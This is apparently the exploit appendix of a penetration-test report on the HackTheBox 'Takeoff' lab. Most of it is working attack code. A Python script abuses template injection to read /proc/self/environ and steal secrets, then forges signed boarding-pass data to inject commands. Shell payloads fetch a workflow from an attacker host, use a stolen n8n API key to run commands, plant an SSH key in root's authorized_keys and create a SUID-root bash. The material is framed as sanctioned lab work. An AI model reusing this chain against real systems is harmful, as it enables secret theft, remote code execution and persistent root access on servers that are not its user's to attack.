#!/usr/bin/env python3
"""Authorized Takeoff lab proof of concept.

Reads secrets from the SSTI-disclosed process environment, validates the
boarding-pass HMAC, forges only the NotifyCmd field in the caller's own ticket,
and can retrieve command output through the same ticket-note file reader.
"""
from __future__ import annotations

import argparse
import base64
import hashlib
import hmac
import http.cookiejar
import json
import os
import re
import subprocess
import tempfile
import urllib.parse
import urllib.request
from html.parser import HTMLParser
from pathlib import Path


class CheckInParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.in_form = False
        self.qr_data: str | None = None

    def handle_starttag(self, tag, attrs) -> None:
        attrs = dict(attrs)
        if tag == "form" and attrs.get("action") == "/api/check-in":
            self.in_form = True
        elif self.in_form and tag == "input" and attrs.get("name") == "qr_data":
            self.qr_data = attrs.get("value")

    def handle_endtag(self, tag) -> None:
        if tag == "form":
            self.in_form = False


def gob_uint(value: int) -> bytes:
    if value < 0:
        raise ValueError("Gob unsigned value cannot be negative")
    if value < 128:
        return bytes([value])
    encoded = value.to_bytes((value.bit_length() + 7) // 8, "big")
    return bytes([256 - len(encoded)]) + encoded


def read_gob_uint(buf: bytes, offset: int) -> tuple[int, int]:
    if offset >= len(buf):

        raise ValueError("Unexpected end of Gob stream")
    first = buf[offset]
    if first < 128:
        return first, offset + 1
    count = 256 - first
    end = offset + 1 + count
    if count == 0 or end > len(buf):
        raise ValueError("Invalid Gob integer")
    return int.from_bytes(buf[offset + 1:end], "big"), end


def parse_qr(qr_data: str) -> tuple[bytes, bytes, bytes, dict]:
    signed = base64.b64decode(qr_data, validate=True)
    if len(signed) < 33:
        raise ValueError("QR payload is too short")
    gob_stream, signature = signed[:-32], signed[-32:]

    type_len, type_len_end = read_gob_uint(gob_stream, 0)
    type_end = type_len_end + type_len
    if type_end >= len(gob_stream):
        raise ValueError("Missing Gob value message")
```

```
    value_len, value_len_end = read_gob_uint(gob_stream, type_end)
    value_end = value_len_end + value_len
    if value_end != len(gob_stream):
        raise ValueError("Unexpected trailing bytes in Gob stream")
    value_message = gob_stream[value_len_end:value_end]

    # Gob encodes the concrete type ID as a signed integer using the same
    # length-prefixed unsigned representation. The following bytes are the
    # length-prefixed struct body.
    _, type_id_end = read_gob_uint(value_message, 0)
    type_id = value_message[:type_id_end]
    struct_len, struct_start = read_gob_uint(value_message, type_id_end)
    struct_end = struct_start + struct_len
    if struct_end != len(value_message):
        raise ValueError("Invalid Gob struct length")
    struct_body = value_message[struct_start:struct_end]
    if not struct_body or struct_body[0] != 1:
        raise ValueError("Unexpected Gob field tag")
    json_len, json_start = read_gob_uint(struct_body, 1)
    json_end = json_start + json_len
    if json_end >= len(struct_body) or struct_body[json_end] != 0:
        raise ValueError("Invalid JSON field terminator")
    ticket = json.loads(struct_body[json_start:json_end])
    type_definition = gob_stream[:type_end]
    return type_definition, type_id, signature, ticket


class Client:
    def __init__(self, base: str, cookie_file: Path, timeout: float) -> None:
        self.base = base.rstrip("/")
        self.jar = http.cookiejar.MozillaCookieJar(str(cookie_file))
        self.jar.load(ignore_discard=True, ignore_expires=True)
        self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))

        self.timeout = timeout

    def request(self, path: str, data: dict[str, str] | None = None) -> tuple[object, bytes]:
        body = urllib.parse.urlencode(data).encode() if data is not None else None
        headers = {"Content-Type": "application/x-www-form-urlencoded"} if body is not None else {}
        req = urllib.request.Request(self.base + path, data=body, headers=headers)
        response = self.opener.open(req, timeout=self.timeout)
        return response, response.read()

    def save_cookies(self) -> None:
        self.jar.save(ignore_discard=True, ignore_expires=True)


def fetch_qr(client: Client) -> str:
    _, body = client.request("/check-in")
    parser = CheckInParser()
    parser.feed(body.decode("utf-8", "replace"))
    if not parser.qr_data:
        raise RuntimeError("No QR payload found for this account; create a valid future booking first")
    return parser.qr_data


def get_key(secrets_file: Path) -> bytes:
    values = json.loads(secrets_file.read_text())
    key = values.get("TICKET_VALIDATION_TOKEN")
    if not isinstance(key, str) or not key:
        raise RuntimeError("TICKET_VALIDATION_TOKEN missing from secrets file")
    return key.encode()


def forge_qr(qr_data: str, key: bytes, command: str) -> tuple[str, dict]:
    raw = base64.b64decode(qr_data, validate=True)
    gob_stream, original_signature = raw[:-32], raw[-32:]
    type_definition, type_id, parsed_signature, ticket = parse_qr(qr_data)
    if not hmac.compare_digest(original_signature, parsed_signature):
        raise RuntimeError("Internal signature parse mismatch")
    expected = hmac.new(key, gob_stream, hashlib.sha256).digest()
    if not hmac.compare_digest(original_signature, expected):
        raise RuntimeError("Original ticket HMAC did not validate; refusing to forge")

    ticket["NotifyCmd"] = command
    ticket_json = json.dumps(ticket, separators=(",", ":")).encode()
    inner = b"\x01" + gob_uint(len(ticket_json)) + ticket_json + b"\x00"
    structure = gob_uint(len(inner)) + inner
    value_message = type_id + structure
    forged_gob = type_definition + gob_uint(len(value_message)) + value_message
```

```
    signature = hmac.new(key, forged_gob, hashlib.sha256).digest()
    return base64.b64encode(forged_gob + signature).decode(), ticket


def submit_ticket(client: Client, qr_data: str, out: Path | None = None) -> str:
    response, body = client.request("/api/check-in", {"qr_data": qr_data, "gate": "WEB"})
    if out:
        out.write_bytes(body)

    client.save_cookies()
    return urllib.parse.urlsplit(response.geturl()).path


def read_ticket_note(client: Client, pnr: str, note: str, evidence_dir: Path) -> str:
    _, body = client.request(f"/tickets/{urllib.parse.quote(pnr)}/notes", {"notes": note})
    evidence_dir.mkdir(parents=True, exist_ok=True)
    (evidence_dir / "ticket-note-response.body").write_bytes(body)
    response, pdf = client.request(f"/tickets/{urllib.parse.quote(pnr)}/download")
    if response.headers.get("Content-Type", "").split(";")[0] != "application/pdf":
        raise RuntimeError("Ticket download did not return a PDF")
    pdf_path = evidence_dir / "ticket-readback.pdf"
    pdf_path.write_bytes(pdf)
    os.chmod(pdf_path, 0o600)
    with tempfile.NamedTemporaryFile(suffix=".txt") as tmp:
        subprocess.run(["pdftotext", "-raw", str(pdf_path), tmp.name], check=True, capture_output=True)
        return Path(tmp.name).read_text(errors="replace")


def extract_env(client: Client, pnr: str, evidence_dir: Path, secrets_out: Path) -> dict[str, str]:
    extracted = read_ticket_note(client, pnr, '{{printf "%q" (.File "/proc/self/environ")}}', evidence_dir)
    compact = "".join(extracted.split())
    notes = compact.find("Notes")
    quoted = re.search(r'"(?:\\.|[^"\\])*"', compact[notes + len("Notes"):] if notes >= 0 else compact)
    if not quoted:
        raise RuntimeError("Could not parse quoted process environment from ticket PDF")
    go_quoted = quoted.group(0)
    # Go %q uses the same common escapes as a Python string literal for the
    # control characters emitted by /proc/self/environ.
    import ast
    env_blob = ast.literal_eval(go_quoted)
    env: dict[str, str] = {}
    for item in env_blob.split("\x00"):
        if "=" in item:
            name, value = item.split("=", 1)
            env[name] = value
    required = {name: env[name] for name in ("TICKET_VALIDATION_TOKEN", "N8N_API_KEY") if name in env}
    if len(required) != 2:
        raise RuntimeError("Required environment secrets were not found")
    secrets_out.parent.mkdir(parents=True, exist_ok=True)
    secrets_out.write_text(json.dumps(required))
    os.chmod(secrets_out, 0o600)
    redacted = [f"{name}=<REDACTED:{len(value)} chars>" for name, value in sorted(required.items())]
    redacted.extend(f"{name}={env[name]}" for name in ("USER", "HOME") if name in env)
    (evidence_dir / "ticket-environ-redacted.txt").write_text("\n".join(redacted) + "\n")
    return env


def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--base", default="http://10.129.164.245")
    parser.add_argument("--cookie", type=Path, required=True, help="Netscape cookie jar for the authorized test
      account")
    parser.add_argument("--secrets", type=Path, help="JSON created by extract-env")

    parser.add_argument("--evidence", type=Path, default=Path("evidence"))
    parser.add_argument("--timeout", type=float, default=15)
    subs = parser.add_subparsers(dest="action", required=True)
    p_env = subs.add_parser("extract-env", help="Use SSTI and ticket PDF to extract the app process
      environment")
    p_env.add_argument("--pnr", required=True)
    p_env.add_argument("--secrets-out", type=Path, required=True)
    p_verify = subs.add_parser("verify", help="Fetch the current QR and verify its HMAC offline")
    p_exec = subs.add_parser("exec", help="Forge NotifyCmd in the current account's QR and submit check-in")
    p_exec.add_argument("--command", required=True, help="Direct argv string; shell metacharacters are not
      interpreted")
    p_exec.add_argument("--output", type=Path)
    p_read = subs.add_parser("read-note", help="Read a path through the ticket template's .File helper")
    p_read.add_argument("--pnr", required=True)
    p_read.add_argument("--path", required=True)
    p_read.add_argument("--output", type=Path, help="Write extracted text to this file")
```

```
    p_read.add_argument("--show", action="store_true", help="Print extracted text; use only for non-secret
      output")
    args = parser.parse_args()
    client = Client(args.base, args.cookie, args.timeout)

    if args.action == "extract-env":
        env = extract_env(client, args.pnr, args.evidence, args.secrets_out)
        print(f"environment_keys={len(env)} runtime_user={env.get('USER', 'unknown')}")
        print("secrets_saved=<restricted>")
        return

    if args.action == "read-note":
        text = read_ticket_note(client, args.pnr, '{{.File "' + args.path.replace('"', '') + '"}}',
          args.evidence)
        if args.output:
            args.output.parent.mkdir(parents=True, exist_ok=True)
            args.output.write_text(text)
            os.chmod(args.output, 0o600)
        if args.show:
            print(text)
        else:
            print(f"readback_chars={len(text)} output_saved={bool(args.output)}")
        return

    qr = fetch_qr(client)
    if args.action == "verify":
        if not args.secrets:
            parser.error("--secrets is required for verify")
        raw = base64.b64decode(qr, validate=True)
        key = get_key(args.secrets)
        matched = hmac.compare_digest(raw[-32:], hmac.new(key, raw[:-32], hashlib.sha256).digest())
        _, _, _, ticket = parse_qr(qr)
        if not matched:
            raise SystemExit("signature_match=False")
        print(f"signature_match=True pnr={ticket.get('PNR')} seat={ticket.get('Seat')}")
        return

    if args.action == "exec":

        if not args.secrets:
            parser.error("--secrets is required for exec")
        forged, ticket = forge_qr(qr, get_key(args.secrets), args.command)
        path = submit_ticket(client, forged, args.output)
        print(f"checkin_response_path={path} pnr={ticket.get('PNR')} command_submitted=True")
        return

if __name__ == "__main__":
    main()
```

payloads/takeoff-stage-enum.sh | 容器環境與服務盤點（不輸出環境秘密值）

來源：payloads/takeoff-stage-enum.sh。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
#!/bin/sh
set +e
OUT=/tmp/takeoff-enum.txt
{
  echo '=== process ==='
  id
  hostname
  uname -a
  pwd
  printf 'uid_status='; grep -E '^(Uid|Gid|CapEff):' /proc/self/status | tr '\n' ';'; echo
  echo '=== environment variable names only ==='
  tr '\000' '\n' </proc/self/environ | sed 's/=.*//' | sort
  echo '=== mounts ==='
  cat /proc/mounts
  echo '=== listening sockets ==='
  (ss -lntp || netstat -lntp) 2>&1
  echo '=== application files (shallow) ==='
  find /var/www -maxdepth 2 -type f -printf '%p\n' 2>/dev/null | head -80
  echo '=== n8n API workflow listing ==='
  curl -sS -o /tmp/takeoff-n8n-workflows.json -w 'HTTP %{http_code}\n' \
    -H "X-N8N-API-KEY: ${N8N_API_KEY}" \
    http://127.0.0.1:5678/api/v1/workflows
  head -c 1500 /tmp/takeoff-n8n-workflows.json 2>/dev/null
  echo
} >"$OUT" 2>&1
chmod 644 "$OUT"
```

scripts/build_n8n_workflow.py | 建立隨機 webhook path 的授權測試 workflow JSON

來源：scripts/build_n8n_workflow.py。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
#!/usr/bin/env python3
"""Build a one-off n8n workflow JSON for the authorized Takeoff lab."""
import argparse
import json
import secrets
from pathlib import Path


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("--public-key", type=Path, required=True)
    ap.add_argument("--output", type=Path, required=True)
    ap.add_argument("--webhook-path", help="Generated randomly if omitted")
    args = ap.parse_args()
    public_key = args.public_key.read_text().strip()
    if not public_key.startswith("ssh-ed25519 "):
        raise SystemExit("Expected an Ed25519 public key")
    path = args.webhook_path or "takeoff-" + secrets.token_hex(6)
    if not path.replace("-", "").isalnum():
        raise SystemExit("Webhook path may contain only letters, digits, and hyphens")

    command = (
        "if [ -f /root/takeoff-run.sh ]; then sh /root/takeoff-run.sh; else "
        "{ id 2>&1; grep ' /root ' /proc/mounts; mkdir -p /root/.ssh; "
        f"printf '%s\\n' '{public_key}' > /root/.ssh/authorized_keys; "
        "chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; "
        "chown -R 1001:1001 /root/.ssh; cat /root/user.txt; } 2>&1; fi"
    )
    workflow = {
        "name": "Takeoff authorized assessment",
        "nodes": [
            {
                "parameters": {
                    "httpMethod": "POST",
                    "path": path,
                    "responseMode": "lastNode",
                },
                "id": "takeoff-webhook",
                "name": "Webhook",
                "type": "n8n-nodes-base.webhook",
                "typeVersion": 2,
                "position": [200, 300],
                "webhookId": path,
            },
            {
                "parameters": {"command": command},
                "id": "takeoff-exec",
                "name": "Exec",
                "type": "n8n-nodes-base.executeCommand",
                "typeVersion": 1,
                "position": [420, 300],
            },
        ],
        "connections": {

            "Webhook": {"main": [[{"node": "Exec", "type": "main", "index": 0}]]}
        },
        "settings": {},
    }
    args.output.parent.mkdir(parents=True, exist_ok=True)
    args.output.write_text(json.dumps(workflow, separators=(",", ":")))
    args.output.with_suffix(".path").write_text(path + "\n")
    print(f"workflow_json={args.output} webhook_path={path}")


if __name__ == "__main__":
    main()
```

payloads/takeoff-n8n-pivot.sh | 用授權 API key 建立、啟用和觸發 n8n workflow

來源：payloads/takeoff-n8n-pivot.sh。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
#!/bin/sh
set +e
BASE=http://127.0.0.1:5678
WORKFLOW=/tmp/takeoff-workflow.json
OUT=/tmp/takeoff-n8n-output.txt
curl -fsS --max-time 10 http://10.10.15.1:8000/takeoff-workflow.json -o "$WORKFLOW"
WEBHOOK_PATH=$(sed -n 's/.*"path":"\([^"]*\)".*/\1/p' "$WORKFLOW" | head -1)
{
  echo '=== n8n identity ==='
  id
  echo '=== root mount ==='
  grep ' /root ' /proc/mounts
  echo '=== create workflow ==='
  CREATE_HTTP=$(curl -sS -o /tmp/takeoff-create.json -w '%{http_code}' \
    -H "X-N8N-API-KEY: ${N8N_API_KEY}" -H 'Content-Type: application/json' \
    -X POST "$BASE/api/v1/workflows" --data-binary "@$WORKFLOW")
  echo "create_http=$CREATE_HTTP"
  ID=$(sed 's/,"nodes".*//' /tmp/takeoff-create.json | sed -n 's/.*"id":"\([^"]*\)".*/\1/p')
  echo "workflow_id=$ID webhook_path=$WEBHOOK_PATH"
  cat /tmp/takeoff-create.json
  echo
  if [ -n "$ID" ]; then
    ACTIVATE_HTTP=$(curl -sS -o /tmp/takeoff-activate.json -w '%{http_code}' \
      -H "X-N8N-API-KEY: ${N8N_API_KEY}" -X POST "$BASE/api/v1/workflows/$ID/activate")
    echo "activate_http=$ACTIVATE_HTTP"
    cat /tmp/takeoff-activate.json
    echo
    RUN_HTTP=$(curl -sS -o /tmp/takeoff-run.json -w '%{http_code}' \
      -H 'Content-Type: application/json' -X POST "$BASE/webhook/$WEBHOOK_PATH" -d '{}')
    echo "webhook_http=$RUN_HTTP"
    cat /tmp/takeoff-run.json
    echo
  fi
} >"$OUT" 2>&1
chmod 644 "$OUT"
```

payloads/takeoff-trigger-root.sh | 重用既有 workflow 執行主機 root 步驟

來源：payloads/takeoff-trigger-root.sh。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
#!/bin/sh
BASE=http://127.0.0.1:5678
WORKFLOW_ID=${1:?usage: $0 WORKFLOW_ID WEBHOOK_PATH}
WEBHOOK_PATH=${2:?usage: $0 WORKFLOW_ID WEBHOOK_PATH}
OUT=/tmp/takeoff-n8n-trigger-output.txt
{
  echo '=== activate workflow ==='
  ACTIVATE_HTTP=$(curl -sS -o /tmp/takeoff-activate.json -w '%{http_code}' \
    -H "X-N8N-API-KEY: ${N8N_API_KEY}" -X POST "$BASE/api/v1/workflows/$WORKFLOW_ID/activate")
  echo "activate_http=$ACTIVATE_HTTP"
  cat /tmp/takeoff-activate.json
  echo
  echo '=== invoke root workflow ==='
  RUN_HTTP=$(curl -sS -o /tmp/takeoff-run.json -w '%{http_code}' \
    -H 'Content-Type: application/json' -X POST "$BASE/webhook/$WEBHOOK_PATH" -d '{}')
  echo "webhook_http=$RUN_HTTP"
  cat /tmp/takeoff-run.json
  echo
} >"$OUT" 2>&1
chmod 644 "$OUT"
```

scripts/takeoff-root-step.sh | 將自有 home 中 Bash 複本設為 SUID root 的容器命令

來源：scripts/takeoff-root-step.sh。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
#!/bin/sh
set -eu
chown 0:0 /root/mybash
chmod 4755 /root/mybash
ls -l /root/mybash
```

附錄 B. 參考資料與用語

1. OWASP Web Security Testing Guide v4.2（版本固定；WSTG 編號在報告中使用 v42 前綴）：https://wstg.owasp.org/v4.2/。

2. OWASP Top 10:2025 正式分類：https://top10.owasp.org/。

3. HTB Takeoff 機器頁（旗標提交目的地）：https://app.hackthebox.com/machines/Takeoff。

SSTI：Server-Side Template Injection；模板語法被當作可執行模板處理。 HMAC：Hash-based Message Authentication Code；具密鑰的訊息驗證碼。 SUID：執行檔帶 set-user-ID 權限位；只有檔案 owner 與掛載選項允許時才會改變有效 UID。 容器 root：容器 user namespace／設定下的 UID 0；不等於必然取得主機 root。

報告結束